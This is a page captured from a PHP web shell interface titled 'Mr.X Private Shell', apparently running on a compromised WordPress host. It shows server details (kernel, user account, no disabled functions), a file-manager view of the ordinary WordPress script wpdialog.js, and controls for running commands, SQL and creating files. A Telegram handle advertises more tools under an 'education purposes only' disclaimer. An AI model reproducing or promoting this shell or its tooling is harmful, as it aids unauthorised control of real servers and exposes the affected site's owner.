Uname: Linux server.digisquadtech.com 4.18.0-553.100.1.el8_10.x86_64 #1 SMP Mon Feb 2 04:13:33 EST 2026 x86_64
User: 1091 (madhavfluid)
Group: 1090 (madhavfluid)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/madhavfluid/public_html/wp-includes/js/      ( Reset | Go to )
File Name: wpdialog.js
Edit
/**
 * @output wp-includes/js/wpdialog.js
 */

/*
 * Wrap the jQuery UI Dialog open function remove focus from tinyMCE.
 */
( function($) {
    $.widget('wp.wpdialog', $.ui.dialog, {
        open: function() {
            // Add beforeOpen event.
            if ( this.isOpen() || false === this._trigger('beforeOpen') ) {
                return;
            }

            // Open the dialog.
            this._super();

            // WebKit leaves focus in the TinyMCE editor unless we shift focus.
            this.element.trigger('focus');
            this._trigger('refresh');
        }
    });

    $.wp.wpdialog.prototype.options.closeOnEscape = false;

})(jQuery);

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL